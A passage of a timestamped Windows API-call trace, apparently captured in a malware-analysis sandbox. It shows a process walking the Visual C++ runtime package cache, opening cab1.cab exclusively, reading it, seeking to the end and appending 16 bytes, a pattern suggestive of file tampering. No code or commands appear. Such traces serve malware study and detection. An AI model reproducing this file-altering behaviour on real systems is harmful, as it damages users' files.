Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x4e [0091.872] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.872] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.873] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0091.873] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0091.873] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0091.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0091.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0091.873] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", lpFilePart=0x0) returned 0x4e [0091.873] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.873] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0091.874] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.874] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0091.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0091.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0091.874] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0091.874] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.875] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.875] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.875] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0091.875] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0091.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0091.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0091.875] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0091.875] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.875] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.876] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0091.876] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.876] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0091.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0091.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0091.876] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0091.876] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.877] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.877] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0091.877] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0091.877] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0091.877] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0091.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0091.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0091.877] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86", lpFilePart=0x0) returned 0x6c [0091.877] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1dc40 [0091.878] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.878] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0091.878] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0091.878] FindNextFileW (in: hFindFile=0x1ec1dc40, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0091.878] FindClose (in: hFindFile=0x1ec1dc40 | out: hFindFile=0x1ec1dc40) returned 1 [0091.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0091.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0091.878] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0091.878] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x33fb4f0 | out: lpFileInformation=0x33fb4f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x966f4c00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x966f4c00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x966f4c00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc89b1)) returned 1 [0091.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0091.879] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.879] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.879] GetFileType (hFile=0x7ac) returned 0x1 [0091.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.879] GetFileType (hFile=0x7ac) returned 0x1 [0091.879] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0091.879] ReadFile (in: hFile=0x7ac, lpBuffer=0x33fb9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x33fb9b8*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0091.881] CloseHandle (hObject=0x7ac) returned 1 [0091.881] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.881] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.881] GetFileType (hFile=0x7ac) returned 0x1 [0091.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.881] GetFileType (hFile=0x7ac) returned 0x1 [0091.881] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0xc89b1 [0091.881] WriteFile (in: hFile=0x7ac, lpBuffer=0x33fccd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x33fccd8*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0091.883] CloseHandle (hObject=0x7ac) returned 1 [0091.883] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", lpFilePart=0x0) returned 0x75 [0091.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0091.883] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7ac [0091.883] GetFileType (hFile=0x7ac) returned 0x1 [0091.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0091.883] GetFileType (hFile=0x7ac) returned 0x1 [0091.883] ReadFile (in: hFile=0x7ac, lpBuffer=0x33ff020, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x33ff020*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0091.911] CloseHandle (hObject=0x7ac) returned 1 [0091.912] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package 